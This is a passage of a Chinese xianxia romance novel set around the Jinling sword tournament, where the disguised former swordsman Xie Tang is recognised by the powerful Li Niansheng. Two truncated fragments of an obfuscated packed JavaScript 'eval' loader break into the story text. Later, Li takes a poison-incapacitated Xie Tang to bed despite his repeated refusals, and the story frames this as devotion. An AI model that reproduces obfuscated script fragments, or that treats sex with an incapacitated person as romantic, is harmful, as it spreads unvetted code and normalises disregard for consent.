《天下第二他不让我摆烂》 3. 一剑十年 金陵城墙高耸,在秋日晴空下投下巨大的阴影,城门处车马粼粼,行人如织,喧嚣鼎沸,夹杂着天南地北的口音。 挑担的货郎、结队的仙师、锦衣的公子、负剑的游侠…形形色色的人流汇聚于此,只因三年一度的“金陵论剑”将启,修行中人,十之六七,皆奔此城。 云台司的车马在入城的队伍中缓缓前行,萧裴煜早已按捺不住,半个身子探出车窗,瞪大眼睛打量着这座闻名天下的雄城,眼中满是新鲜与兴奋。 昨夜落雁峡的惊魂,似乎已被这扑面而来的繁华冲淡不少。 “谢棠,我们直接去名剑山庄吗?”他缩回头问,却见谢棠不知何时带了个眼罩,好奇问:“你戴这个干什么?” 谢棠张口就有些敷衍:“云台司嘛,打听消息起家,又和百晓堂抢饭吃,早不知得罪多少人,我身为司主,那还不得躲着点?” “呦吼!”萧裴煜一脸笑嘻嘻,“莫慌,本世子会罩着你的!” 谢棠皮笑肉不笑,嘲道:“倒是不指望世子殿下能罩着我,只是不要拖我后腿就行了。” “切!” 来到名剑山庄,是一炷香后。 金陵论剑,启于名剑山庄正门外的“试剑坪”。 此坪依山而建,以整块青玉铺就,宽广足有百丈,可容数千人观礼,以名剑山庄的规矩,金陵论剑榜首可带走庄内名剑,昔年太初五剑之一的凤囚凰,天下第一剑,便是出自名剑山庄。 此刻,试剑坪上已是人山人海,各色服饰的修士摩肩接踵,喧声鼎沸,负剑的、佩刀的、持奇门兵刃的,甚至还有几位怀抱瑶琴、气质出尘的琴修,俱是年轻一辈的翘楚,眼中闪烁着跃跃欲试的光芒。 “天哪,这名剑山庄,一点也不比我镇西侯府差啊!”萧裴煜一边双手遮着光,一边感叹,他又指向这四周唯一缺的一座山的方向,叹道:“这便是当年谢颜酌一指所破的苍山!” 谢棠顺着他的手指望去。 那座山确实没了,只剩一片平整的切口,像是被什么锋利的东西生生削去。 谢棠记得那个切口是怎么来的。 他记得谢颜酌曾站在同样的位置,随手弹出一指。 一指断青山…… “谢棠?”萧裴煜的声音把他拉回来,“你想什么呢?” “没什么。”谢棠收回目光,“进去吧。” 二楼雅座已坐满各方人物,上首却空悬着,玄门无主,名剑山庄少庄主楚烬云便暂居主位。 “诸位同道,远来辛苦。”楚烬云拱手环礼,声音清朗,以内力送出,清晰地传入每个人耳中,“三年一度,金陵论剑,是为切磋技艺,弘扬武道,规矩如旧,登台者,自报家门,胜负由在场诸位公议… 最后站在这台上之人,可入我名剑山庄‘藏剑阁’,任选一剑带走。” 他顿了顿,目光扫过台下黑压压的人群:“吉时已到,论剑开始!哪位同道,愿先登台赐教?” 短暂的沉寂后,一道灰色身影如鹞鹰般腾空而起,稳稳落在高台中央,是个手持九环大刀的壮汉,声若洪钟:“漠北狂刀门,雷震!请教诸位高招!” 初始登台者,多是各派颇有声名、欲借此扬名的好手,刀来剑往,内力激荡,引得台下阵阵喝彩。 萧裴煜看得目不转睛,谢棠却有些乏味,这些招式在他眼中,却是破绽百出。 “喂,”谢棠拍了拍他,“你不打算上去试试?” “切!”萧裴煜眼底竟是对他们的轻蔑,傲道:“本世子修为高着呢,等再厉害一点的出来了,本世子再上!” 谢棠配合着他笑了笑,不过只论当下这几个,还不够在良玉榜拿个好名次,等高手出来,还要在等一会儿,管这小子愿不愿意,都得让他上去了。 想着,谢棠四下探了探,却一眼瞥见人群中一个一身墨青的男子一直盯着他,并非是多想,而是这人的目光太过直白,毫不掩饰。 二人还是隔着些距离,谢棠看不大清那人的面容,那人似乎也有意敛去了气息,谢棠下意识觉得,此人非善与之辈。 可那人明晃晃的目光在谢棠看来实在算得上是挑衅,于是,他双手抱在胸前,也瞪了他一会儿。 越是瞪下去,气势竟越弱,谢大司主竟被那人盯得有些莫名的心虚,背过身去摸了摸自己的脸,确定是戴着眼罩没错才微微松了口气,也干脆不再去管。 已经换了几波比武的人,这一波,其中一人被打下了莲池,谢棠心道是时候了,管他三七二十一,在萧裴煜身后打了一掌,将他推了出去。 萧裴煜没料到有这一下,落地时差点没站稳,还惹来一阵嬉笑,惹得他有些脸红,愤愤的看向谢棠的方向,却见他居然也觉得自己丢脸,更气了。 “喂!”方才的胜者喊他,“你打不打!” “打!当然打!” “那就来吧!” “兄弟,承让了!”话音落下,萧裴煜终于让那把他带了颇为抢眼的红剑。 少年运起内力,剑意上来,剑身就附上了一层蓝红交加的火… “这小子,倒是我看轻他了。”谢棠想着,露出一副满意的笑容。 这一局是刀对剑,萧裴煜仅三招便挑落对方兵刃,引来满堂喝彩,谁还会记得他方才的丑样? 萧裴煜也一脸骄傲看向谢棠,朝他点了点头,那眼神就在说“说了别看轻我,本世子厉害着呢!” 谢棠回应了他,这一下算是看出来了,这萧裴煜是剑通八重的修为了,只差一点,就要入玄灵境了,这样,他倒是不必担心了,起码对付一些无名小辈,也算绰绰有余。 不过,若是能有个再厉害些的能出来和他战一下,那就更好了。 “还有谁要来?”萧裴煜很是高兴,却忽然感到了一股杀意,笑容立刻僵在了脸上。 果然,在萧裴煜一连击败了三个后,有些小高手坐不住了。 一道明黄的身影自雅座飞来,少年声音爽朗,人也开朗,双手抱拳作揖:“归云宗弟子沈洛溪,请阁下赐教!” 萧裴煜也学着江湖人的模样行礼,笑道:“云台司弟子萧裴煜,请教阁下高招!” 这双双的名头一报出来,台下又议论起来。 归云宗,是玄门数一数二的大门派,沈洛溪,更是归云宗少宗主,再看另一个红衣少年,素闻云台司与百晓堂齐名,百晓堂收弟子人尽皆知,却不知原来云台司也是收弟子的,这难不成是真要与百晓堂争个高低? “原来是云台司弟子,久仰贵派大名,可要让我好好见识一下!”沈洛溪笑着,眼里满是对萧裴煜的欣赏。 “自然自然,沈兄弟,你可要小心了!” “那我可开始了!”话音落下,沈洛溪一把揭开了背后背着的大盒子的布纱,原来是一把琴。 话音落下,四指拨动琴弦,一阵弦音涌出,萧裴煜猛闪,用刀的用剑的都见识过了,这下来个琴修,这可稀奇了! 谢棠打量了那沈洛溪所拿的琴,一把檀木琴,倒是有几分眼熟,想了一会儿,才想起这是无妄琴仙司空千尘所用的第一把琴——独忧。 这沈洛溪就是归云宗的少宗主,这也算是在良玉榜上有头有脸的人物,谢棠心中有些担心,如若萧裴煜临战突破境界,入那玄灵境,便不成问题。 沈洛溪盘膝坐下,瑶琴横于膝上,修长的手指轻抚琴弦,一缕清越琴音响起,初时平和,但瞬息间,琴音转急,数道肉眼可见的淡金色音刃随着他拨弦,凭空生成,带着凌厉之气,疾射向萧裴煜! 萧裴煜凛然,炽炩剑舞动如轮,赤色剑光形成屏障,“叮叮”数声脆响,音刃被格挡弹开,但劲道透过剑身传来,震得他手臂微麻。 这沈洛溪的功力,明显比前几个对手高出一截。 “这倒是个有天赋的。”谢棠心中感慨,归云宗一派,其祖传剑术“宿归云亭”剑意孤寂,冠绝整个玄门,而今这少宗主不修剑,却以剑谱修琴,确有当年司空千尘的风范。 沈洛溪微微一笑,琴音再变,如珠落玉盘,急促连绵,更密集的音刃交织成网,笼罩向萧裴煜,同时,他周身真气涌动,竟隐隐在身前开始凝聚一道与他自身轮廓相似的淡金色虚影——琴意化形! 萧裴煜顿感压力倍增,剑招渐显凌乱,他毕竟实战经验尚浅,面对这种奇诡音攻与化形之术的结合,一时不知如何破解,只能被动防守,眼看便要落入下风。 台下,谢棠眉头微蹙 萧裴煜败给沈洛溪本在情理之中,但若败得太快太难看……怎么说,也丢他的脸啊… “唉…”谢棠抚了抚眉,这事终究不光彩,他显得有些为难。 最终,借着宽大衣袖的遮掩,谢棠悄悄屈指一弹。 一道无形无质的指风,混在嘈杂的人声与琴音中,精准无比地穿过人群缝隙,悄无声息地击打在那独忧琴的琴弦上。 “铮——!” 正流畅激昂的琴音,陡然发出一声极不和谐的破绽,沈洛溪凝聚到一半的虚影猛地一颤,瞬间溃散! 他心神受此干扰,手上动作不由一滞,那铺天盖地的音刃也随之漏出了空隙,萧裴煜虽不明所以,但本能让他抓住了这转瞬即逝的机会。 他低喝一声,体内真气以前所未有的速度奔涌,炽炩剑爆发出灼目的赤红光芒,一剑挥出,竟将残余音刃悉数绞碎,剑气余势不减,直逼沈洛溪! 沈洛溪仓促间拨弦抵挡,“砰”的一声闷响,琴弦剧震,他连人带琴被剑气推得向后滑出数尺,才勉强稳住,脸上闪过一丝惊愕。 谢棠时机抓的准,众人皆以为连着那幻术一起都是萧裴煜所破,连连叫好。 成效太好,萧裴煜自己也有些不可置信,就在此时,一道极轻的声音落在他心神之间,如远山钟鸣… “剑由心生,心随剑往,心持剑意,意守剑心…” 萧裴煜浑身一震,下意识去寻谢棠,却见那人只是远远立着,眉间似有忧色,他猛然意识到,这声音,只有他自己能听见。 这是…有人在教他破境? 他闭目凝神,任由那八个字在心头盘旋…… 沈洛溪却不给他喘息之机,琴音骤急,满池花瓣被琴意卷起,在独忧琴前凝成一道剑势—— “落日归云,寒空断雁,则有宿归云亭也!” 以琴入剑,正是当年琴仙司空千尘的风范! 千百花瓣霎时如刀锋,盘旋着朝萧裴煜疾射而去,谢棠握紧袖中手指,心口那点痛意已被压下,可他却不能再出手,只能看萧裴煜自己了。 花瓣距萧裴煜不过半尺…他猛然睁眼! 双掌相对,真气流转,炽炩剑悬于掌间,剑意如虹,竟生生将那漫天杀意挡在身前。 台下又是一阵惊呼。 谢棠眸光微动:“引玉掌?” 如引玉出璞,牵引万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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没有借力,没有踏空,那人衣袂翻飞间,不带丝毫烟火气,唯有那周身的寒意,如实质般笼罩了整个试剑坪。 好强的轻功! 萧裴煜看着那人落在高台之上,剑眉星目,年约三十,分明只是负手而立,分明一言未发,周身甚至没有任何兵刃,可萧裴煜就是知道,这人若想杀自己,只需一个眼神。 二楼上,楚烬云霍然起身,眼中闪过惊疑之色。 人群边缘,谢棠的目光与那道墨绿身影在半空中轻轻一触。 竟就是方才那与自己对视之人… 萧裴煜强撑着抱拳,声音已有些不稳:“阁下……怎么称呼?” 台上之人终于开口,一股漫不经心的冷意蔓延:“将死之人,何必知道这么多?” 萧裴煜脸色一变,将死之人? 这四个字落进耳朵里,竟比任何威胁都让人胆寒,他下意识握紧剑柄,手心已沁出冷汗,来不及多想,对面那道身影已动了! 一招起手,迅速递出一掌,只是简单一掌,可这一掌在萧裴煜眼中,却仿佛封死了天地间所有退路,连那人的残影都看不清,掌风却已扑面而来! 萧裴煜亡魂大冒,本能地拔剑格挡,剑才出鞘一半,那一掌已结结实实印在剑身上。 “铛——!” 炽炩剑发出一声哀鸣,剑身被巨力压得弯成一张弓,萧裴煜只觉得一股排山倒海的力量透过剑身传来,整个人倒飞出去,连退十余步,每一步都在青玉台面上踏出裂痕,最后一步时脚下一空,竟已被逼至台边,才堪堪稳住… 他低头一看,握剑的手虎口震裂,鲜血淋漓,而对面那人,只是从容地收回手掌,神色纹丝未变,仿佛方才只是随手拂去了一片落叶。 萧裴煜大口喘息,眼中第一次浮现出恐惧,可他毕竟是少年心性,恐惧之后,一股不甘的怒火反而冲了上来,咬紧牙关,催动全身真气,炽炩剑骤然爆发出耀眼的赤红光芒! “繁落——晨陨!” 这是他最强的一剑,剑势如流星坠地,带着灼热的剑意呼啸而去,却没想到这招对那人来说如此不堪一击,那人太快了,他都没看清人是如何躲过的,就只看见残影向他袭来。 依旧是一掌,依旧是快得看不清,可这一掌,比刚才那一掌,重了何止十倍! “完了完了!” “砰——!!!” 一声惊天动地的巨响,骤然炸开! 整个试剑坪都在震颤,狂暴的气浪向四面八方席卷,莲花池中的池水被震起数丈之高,化作漫天水幕倾泻而下,雅座上的杯盏齐齐震碎,靠近台前的数十人被气浪推得东倒西歪,惊呼声四起! 待那漫天水幕落下,待那惊天动地的余波平息,众人骇然发现,试剑坪之上,萧裴煜身前,竟多了一个人… 一袭青衫,身量清瘦,眼罩遮面,正是方才还在台下观战的谢棠。 没有人看清他是如何上去的。 “谢棠!”萧裴煜亦没料到生死关头竟是谢棠这么个毫无修为的人挡在自己面前,可谢棠毕竟没有修为,这忽然出现的疯子又这么厉害,萧裴煜吓坏了:“你没事吧?” “没事...”谢棠喘着气,这一掌倒也是逼得他退了一步,他将手掌负于身后,宽大的衣袖遮住了他微微颤抖的指尖。 对这一掌竟会如此狼狈,果然是大不如前了… 想到此处,他看向对面那人,四目相对… 隔着丈许距离,隔着漫天仍未散尽的烟尘水雾,在另一个人眼中,还隔着十年的生死茫茫。 谢棠似乎毫无他想,只是笑着圆场:“一个小辈而已…” “镜玄尊者,何必如此较真呢?” 4.既见君子 “镜玄尊者?!” 众人皆是一惊,这就是当年冠绝榜第二,十年闭关,如今传闻已入从圣境的那位? 多少惊叹的目光落在黎念笙身上,他却只是轻笑一声,目光仍放在谢棠身上,幽幽道:“别的不说,公子,轻功不错。” 萧裴煜看着这二人你来我往,简直不敢相信,如果这位就是镜玄尊者,就是那雨夜出手相救的高人,何必要在今日跟自己过不去? 况且,这传说中冷面冷心的镜玄尊者,见着谢棠时,眼里竟有几分欣赏,像是故友重逢… “哪里哪里。”谢棠笑着,语气里揣着谦逊,“黎宗主谬赞了。” “原来是镜玄尊者。”二楼之上,楚烬云终于回过神来,压下心中的激动,尽力端着少庄主的架子,“在下久闻尊者大名,请上座。” 黎念笙又看了谢棠一眼,随即飞身而起,衣袂翻飞间已落在二楼雅座,轻功之绝,当真不留半点痕迹。 楚烬云收回目光,落在谢棠和萧裴煜身上:“这位小兄弟是云台司弟子,那么公子是?” “啊…”谢棠轻咳两声,笑道:“在下,云台司司主,谢…棠。” “原来这就是云台司司主?” “竟这般年轻?” “虽不知百晓生的年纪如何,但应当比这云台司司主大些…” 果然,提起云台司,自然忘不了百晓堂,谢棠却对此颇为满意。 若说云台司能在十年内成为闻名天下的大门派,可少不得谢棠苦心经营的功劳。 十年前魔教东征,恰逢太初仙君谢颜酌遭无殇冢杀手劫杀,正魔之战,玄门惨败而归,谁都盼着能有些好消息,云台司便是那时出现的。 起初世人皆以为这是个古玩店,没想到这却是天下如今最富盛名的情报网,百晓堂虽知天下事,却不出世,除了每年有人发布冠绝榜和良玉榜外,几乎没什么消息,云台司便趁势而起,还总喜欢把自己和百晓堂放在一块比较,百晓堂闻名天下,久而久之,云台司的名气也大了,再后来,世人提起百晓堂,便不免要说一嘴云台司。 私语四起,楚烬云也有些好奇此人为何戴着眼罩,但一想云台司素来神秘,司主不愿以真面目示人也是常理,他拱手笑道:“原来是谢司主,谢司主乃名剑山庄贵客,请上座。” 谢棠点点头,拉着萧裴煜拾级而上。 被震碎的桌椅换上新的,金陵论剑并没有结束,众人的注意力很快回到试剑坪上,谢棠终于得以静下心来。 原本替萧裴煜破了沈洛溪的琴术还压得住体内的毒,可是与黎念笙那一掌,可是扎扎实实费了他许多真气,此刻竟隐隐有些压不住,气海传来一阵刺痛,谢棠脸色骤然惨白,好在有眼罩遮掩,旁人尚看不出什么。 他深吸一口气,强撑着不让毒性继续上涌,萧裴煜原也没了论剑的心思,一转头见谢棠脸色差得吓人,不由担忧:“你没事吧?” “倒杯茶。”谢棠声音很轻,实在没力气多说。 “好好好。”萧裴煜赶紧倒茶递过去,心里不由得一阵后怕,方才若不是谢棠替他挡那一掌,自己早就没命了,可他分明不会武功,怎么接得下镜玄尊者一掌?现在看来,果然是强撑的。 谢棠接过茶,目光扫过四周,人太多,实在不便疗伤,他索性低声交代萧裴煜一句,起身离席。 后山竹林,清幽无人…… 谢棠一路跌跌撞撞,好不容易寻得一处僻静之地,正要坐下运功,风声骤起! 一道墨绿残影掠至身前,正是黎念笙,只是此刻,他背上多了一个剑匣。 周围真气涌动,黎念笙负手而立,目光从谢棠身上扫过,从疑惑到笃定,最后化作一抹极淡的笑意:“如今玄门之中,能接我一掌的人可不多。” 他顿了顿,语气里带着意味不明的熟稔,“你说是不是,谢…司主?” 一个“谢”字,被他念得阴阳怪气,碧海潮生阁阁主谢颜酌,不也姓谢? “哈哈……”谢棠干笑两声,“我出来久了,徒儿该找了,告辞!” 说罢,他转身欲走,笑容也瞬间消失,这黎念笙有些难缠,况且,总觉得,他知道了什么… 果不其然,谢棠方才跨出一步,身后掌风已至! 他脚下一错,身形如莲般旋转,这才堪堪避开,黎念笙却不依不饶,剑匣中飞出三柄飞剑,真气御剑,齐袭而来! 谢棠猛退,心中一阵恼怒,何时受过这种气!什么时候,轮到别人用剑来教训他了? 如此想着,谢棠竟也不甘示弱,运丽一挥,三柄飞剑骤然转向,反朝黎念笙刺去! 御剑之术大成者,可御天下剑! “果然如此…”黎念笙眼中闪过一丝明了,反加了几分力道,双掌齐出,震落飞剑,余波将谢棠逼退三步,眼罩滑落,露出苍白至极的脸。 一股腥甜涌上,谢棠捂着胸吐出一口血,他看向黎念笙,眼中闪过一丝不甘,随即化作自嘲的笑,只摇摇头。 再次见到这张脸,却是比黎念笙想得还要脆弱… 他似未料到谢棠真会受伤,怔了一瞬,最终只吐出几个字:“你的剑术,没有当年好。” 谢棠瞥了他一眼,感情是上赶着来比武呢? 他擦去唇边血迹,索性不装了:“自然,我如今这副样子,哪比得上天下第一的镜玄尊者?” 黎念笙皱眉,因谢棠这毫无所谓的态度困惑,当年谢颜酌张扬耀眼,绝不是谢棠这般油嘴滑舌… 他张了张嘴,还未说出一个字,就见谢棠眉头紧蹙,身形一晃,黎念笙赶忙将他扶住,纵然想着自己没下什么重手,以谢颜酌的修为不当如此,他还是运气真气送入谢棠体内。 本意本只想替他疗伤,可真气入体的瞬间,这具身躯的残破便毫无保留的暴露在黎念笙眼前。 气海破裂,谢棠体内真气所剩无几… 他看向谢棠,目光复杂,不由得心疼起来,随着真气在体内游走,蛰伏在经脉深处的毒素缠绕上来,竟不只有一种毒。 谢棠却只是别过脸,淡淡道:“疗伤就疗伤,别乱探。” “这是怎么回事?”黎念笙目光骤沉。 谢棠看他一眼,既然瞒不住,也无谓再瞒:“很稀奇么?” 黎念笙追问:“放眼天下,谁能给你下毒?” 谢棠没有回答,事实上,他无法回答,这是他的命而已… 黎念笙盯着他,执拗得很:“当年那一战,究竟发生了什么?” 竹林风过,簌簌作响,谢棠沉默了很久…… 当年那一战,他已经很久没有去想过了。 是雨夜,雷雨交加,挡在谢颜酌面前的,是五百位幽皇境的杀手,可对谢颜酌来说,这些人不值一提,真正杀死那个太初仙君的,是太初仙君自己的…宿命… 旁人修行,一步一行,谢颜酌不同,他此生出的第一剑,便直入幽皇之境,只因他天生武脉,上天降此大才,好像他生来就注定要被万人景仰… 可老天也和他开了个天大的玩笑… 天生武脉,也天生毒血… 他永远记得自己使出最后一剑时的决绝,记得五剑合一时的光芒照亮了整片夜空,也记得被震飞出去时,怀里那朵骨语花硌在胸口的滚烫。 那本来是给师姐救命用的,可他终究没能送到。 醒来之后,什么都结束了,什么都不在了,谢颜酌死了,谢棠活了下来… 黎念笙听着,一言不发。 他不禁去回忆,谢颜酌名动天下时,不过十六,那两年,他站在玄门之巅,光芒万丈,无人能及,而今呢? “所以你就甘心,受制他人?”黎念笙的声音沉了下去,尾音染上几分不可置信。 “都过去了…”谢棠随意笑了笑:“救命之恩,总得还。” “他救你,就为了让你替他卖命?” “不然呢?”谢棠抬眼看他,“你以为这世上,还有谁会无缘无故对我好?” 黎念笙被这句话堵住,半晌无言,良久,他开口:“有的。” 谢棠一愣。 黎念笙看着他,目光里忽然多了几分惬意,问:“你我的十年之约,你可忘了?” “啊?”谢棠皱了皱眉,他不记得这件事,真要细想起来,十年前,怕是连面都没见过… 黎念笙见他这副模样,自己记了十年,他却忘了,一时有些生气,语气也重了几分,质问:“你忘了?” “我...”谢棠支支吾吾答不出来。 “无妨,我自有法子让你想起来。”黎念笙冷声道,作势便要唤出飞剑。 这还得了,谢棠是真折腾不了,急道:“我想起来了!” 闻言,黎念笙半信半疑,实则是完全不信,却还是放下了手,只是看着他,“说说看。” “这个...”谢棠有些尴尬,“这个,不就是...” 见此,黎念笙冷哼一声,背过身去。 “这是,生气了?”谢棠心中感叹,这镜玄尊者原来是这样的吗? 可是十年过去,这如何想得起来… 看他一副不罢休的模样,谢棠想,自己此刻若是问是否见过,怕是更不得了了,只能好声好气地问:“不然,你给点提示?” 黎念笙看了他一眼,可这种事,他也有自己的傲气,怎能由他再说一遍? 见实在不行,谢棠挠了挠头,忽然想到什么,便问:“也是奇怪,怎么镜玄尊者,一眼就能认出我呢?” “你人站在我面前,我还认不出来吗?” 黎念笙说得平淡,好似本该如此,谢棠却愧疚起来,因为眼前这个人,似乎…太认真了… 他想认的,应当是谢颜酌,可找到的,却是这副模样的自己… 夜色渐深,名剑山庄的喧嚣隐入远处,谢棠所在的客院却静得有些过分。 他自竹林回来后便借口身体不适,连最后的论剑也没看完,原以为有黎念笙那一道真气相助,好歹能撑过今夜,谁知盘坐调息不过半个时辰,丹田处便涌起一阵异样的燥热。 谢棠睁开眼,眉头微蹙,不对劲… 那燥热起初只是一缕,如细蛇游走于经脉之间,可不过片刻,便成了燎原之势,他低头看自己的手,指节泛着不正常的潮红,掌心沁出薄汗。 是情蛊发作了… 他心头一沉,这毒是蓝铭熙种在他体内的,美其名曰以毒攻毒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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月色虽淡,却也足够看清,谢棠衣裳微乱,领口敞开着,露出的一小片泛着潮红的脖颈,他脸上满是红晕,额角有汗,胸口起伏得厉害。 最要命的是那双眼睛,平日总是带着几分玩世不恭的笑意,此刻却湿漉漉的,笼着一层雾,看人时目光都涣散着。 黎念笙眉头拧紧:“你怎么了?” “没怎么。”谢棠的声音哑得不像话,他往后退了一步,手仍撑着门框,用尽力气挤出几个字,“你...走。” 黎念笙却往前走了一步。 他这一步跨进来,谢棠便再也撑不住了,手一软,整个人往后踉跄了两步,险些摔倒,黎念笙眼疾手快,一把扶住他的手臂,触手处,那隔着衣料的皮肤烫得惊人。 “是发热了?”黎念笙另一只手探向他的额头。 不是发热,是发情… 谢棠无言以对,只能偏头躲开,动作太大,身子一晃,反而整个人撞进了黎念笙怀里,那胸膛微凉,隔着衣料贴上来,竟让谢棠浑身一颤,险些呻吟出声。 他猛地推开黎念笙,踉跄着退开几步,背抵上桌沿,再无路可退。 “我说了...没事。”他垂着眼,不敢看黎念笙,声音哑得几乎辨不出原本的腔调,“你走。” 黎念笙却站在原地没动。 他看着谢棠,饶是再迟钝,此刻也看出来了。 “你这样,能撑到几时?”黎念笙的声音沉下来。 “你…”谢棠打断他,声音短促而急,“你走,水...水马上来。” “水?”黎念笙目光在房中扫了一圈,没有见到任何水桶,再看谢棠这副模样,忽然明白了什么,“你要冷水?” 谢棠没答话,他咬着下唇,已经说不出话来了。 那股燥热越发汹涌,像是有什么东西在他体内炸开,烧得他浑身发软,连站都快站不住了,他撑着桌沿的手在发抖,他知道自己现在的样子一定狼狈极了。 “你走...”他又说了一遍,声音低得像在哀求,“好歹,给我留点...面子...” 黎念笙却已经走到了他面前,他抬手,指尖抵上谢棠的下巴,迫使他抬起头来,那张脸近在咫尺,眼眶泛红,眼尾染着薄红,嘴唇被自己咬得充血,目光涣散地看着他,像是认出了他,又像是没认出。 “你这个样子,”黎念笙的声音低低的,听不出情绪,“让我走?” 谢棠张了张嘴,想说点什么,可一个字都没能说出来。 黎念笙的指尖清凉,抵在他下颌上,那一点凉意竟成了此刻唯一的清醒,他贪恋那一点凉,却又不敢靠近,只能僵在那里,浑身都在抖。 “黎...念笙...”他喊他的名字,声音破碎得不成样子。 黎念笙看着他,忽然有些后悔,他此刻身体有恙,若不是与自己对了一掌,应当不至于此,可后悔无用,此刻要做的,是让他别再这样难受下去。 “我帮你。”黎念笙抵着谢棠滚烫的额头,漆黑的眸子里一片诚挚,“你本来,就应该是我的。” 谢棠听见了这几个字,却已经辨不出其中的意思,他只觉身子一轻,整个人腾空而起,黎念笙已经把他打横抱了起来。 他想挣扎,却浑身没有一丝力气,想说话,喉咙却像被火燎过,发不出声,只能任由那人抱着他,一步一步走向床边。 床榻柔软,他陷进去时,最后的清醒也跟着陷了进去。 恍惚间,他好像听见有人在喊他的名字,喊的不是“谢棠”… 他想回应,却已经睁不开眼了… 5.昨夜风止 谢棠醒来时,屋内已空无一人。 他愣愣地盯着帐顶,很久没有动。 昨夜的事,像碎掉的镜面,一片一片零零散散,谢棠拼凑不起来,他根本不想记起来… 可那股烧穿骨髓的燥热是那样清晰,他偏偏记得,记得有人把他抱起来,记得有人身上人的那双眼睛… 谢棠从来没有见过如此诚挚的双眼,以至于如今清醒了,可想起来,还是会被那眼中的眷恋震撼… 他闭了闭眼,把那些画面压下去。 荒谬… 且不说十年前二人究竟关系如何,可也是实打实的有十年未见,说的话加在一起也不超过十句,怎么就…… 他试着动了动,下身传来的酸痛却让他倒吸一口凉气。 “禽兽。”他无声地骂了一句,却察觉自己身上还算干爽,显然是被人清理过了。 那个禽兽,还算细心… 这个念头刚冒出来,便传来门被推开的声音,谢棠立刻闭上眼睛装睡。 脚步声停在床边,他能感觉到有道目光落在自己脸上,沉甸甸的,而后,一只手伸过来,替他掖了掖被角,紧接着,一股源远流长的真气被渡入体内… “……”谢棠忽然不知道该不该睁眼了。 僵持片刻,他认命般睁开眼,正对上黎念笙的目光。 那人只穿了亵衣,站在床边看着他,被谢棠这一瞪,手上动作停下,问:“还难受么?” 谢棠看他一脸春风,却全然不是玩味之意,又是那诚挚到极致的目光,打量许久的犀利说辞到了嘴边,谢棠却说不出了。 “几时了?”他自暴自弃地问。 黎念笙没有答,只是在他床边坐下,轻声道:“再休息会儿吧,我渡了些真气给你,有没有好受些?” 谢棠沉默了一瞬,清了清嗓子,问:“这是…你冒犯我的赔礼?” 黎念笙看着他,没说话,目光却变得怪异。 谢棠被这目光看得有些心虚,索性破罐子破摔:“既然如此,你都拿出这么有诚意的东西了,昨晚的事,就当没发生过,我也不和你计较,你我两清,可好?” “两清?”黎念笙重复了一遍这两个字,语气平平,听不出情绪。 可谢棠分明看见,他的眼神沉了下去,沉默在两人之间蔓延,像慢慢结冰的水。 在黎念笙看来,救他、护他,只因一个“愿”字,到谢棠嘴里,却成了被冒犯后的赔礼,好似昨夜只是一场交易… 黎念笙想开口,却又憋了回去,他摸不准谢棠的脾性,似乎在斟酌用词,谢棠这个名字,他喊不出口,明明是同一个人,可眼前这个人,与他记忆中的那个少年太不一样了,可当他抱着这个人的时候,他又分明知道,是同一个人。 良久,黎念笙才唤了他一声:“谢颜酌。” 他一字一顿,“你已经是我的人了。” 谢棠被这句话逗笑了,只是觉得麻烦:“黎宗主,大家都是男人,何必如此矫情?” “什么你的人我的人,若是照你这么说,我都不知道成了多少……” “谢颜酌。”黎念笙打断他,声音骤然沉了下去,“不要乱说话。” 他根本不想听那些胡扯的话,只是想想,便知道那又多气人。 谢棠看着他,忽然有些累了,眼前这个人,是真的认真,认真到让他觉得,自己那套插科打诨混过去的法子,好像不管用了。 “实话跟你说吧,”谢棠垂下眼,似乎认真了些:“我这个情况,也不是一两年了,昨晚,只是个意外。” 他看向黎念笙,有些冷淡:“无需你来,我也能熬过去。” 黎念笙沉默了很久,他听出一丝执拗,那一瞬间,他似乎看见了谢颜酌的影子… 谢棠以为他还不肯罢休,便问:“你还想如何?” 黎念笙怀念着方才那丝不经意间被流露出的执拗,道:“明日,你跟我回衍月宗。” 谢棠一愣,抬头看他。 “我助你疗伤。”黎念笙的语气不容置疑,“再拖下去,你…” “必死无疑,命不久矣?”谢棠接过他的话,又换上那副无所谓的笑。 黎念笙的目光骤然收紧,他怎么能,如此轻描淡写地说出这几个字? “你跟我回去。”他的声音更沉了,也更坚定:“我想办法治好你。” 谢棠看着他,忽然有些想叹气。 这个人,怎么就听不懂呢? “你不是也嫌弃我如今受制于人,”他放慢了语速,一字一字说清楚,“我早些死了,岂不自由了?” 黎念笙盯着他,像是要从他眼里找到一丝不甘、一丝愤怒、一丝恨意,可他什么也没找到,谢棠的眼里只有一片平静… 看着他这副模样,黎念笙忽然不知道该说什么了,他好像还是那个人,又好像完全不是。 “明日我带你走。”他最后只说了这一句。 谢棠叹了口气:“镜玄尊者的好意我心领了。多谢你没有拆穿我,只是…” 他顿了顿,抬眼看他,竟然露出一丝释然的笑容,他说:“太初已死。” “……”黎念笙脸色煞白。 谢棠接着道:“谢棠的死活,就让他自己决定吧。” 窗外透进来的晨光落在他的侧脸上,勾勒出一道清受的轮廓,似风中残烛… “走与不走,是你的事,”黎念笙字字清晰,“能否走你,那是我的本事。” 说完,他推门而去。 谢棠靠在床头,望着那扇关上的门,久久没有动… 这人有病吧?为了一个十年之约,如此上纲上线,可他又忍不住想,何以至此呢… 旁人,又何以至此…… 金陵论剑结束,今日本该是百晓堂发榜的日子,午宴前,谢棠和黎念笙一前一后来到正殿。 萧裴煜正百无聊赖地坐在角落里,一见谢棠进来,眼睛亮了亮,随即又看见他身后跟着的黎念笙,愣了愣。 “你怎么和他一起?”他压低声音问。 “啊…”谢棠在他旁边坐下,“刚好遇见,就一道来了。” 萧裴煜狐疑地看着他:“他没对你做什么吧?” 谢棠有些心虚,随即伸手在他脑门上弹了一下:“他能对我做什么?” 萧裴煜捂着脑门,还想再问,却被上首的声音打断了。 “诸位!” 楚烬云站起身,双手作揖,语气郑重:“承蒙诸位道友驾临名剑山庄,今日,楚某想借金陵论剑之机,与众道友商谈一事…” “近来下界中,常有‘尸傀’之患,金陵城外亦是如此。” 底下议论声四起,楚烬云继续道:“不止金陵城外,据楚某所知,下界各处皆有尸傀伤人之事…” “说来也怪,这孽障似乎是是镜玄尊者出关灭了无殇冢之后,才开始频繁出现。” 此言一出,满座哗然… 谢棠端着茶盏的手微微一顿… 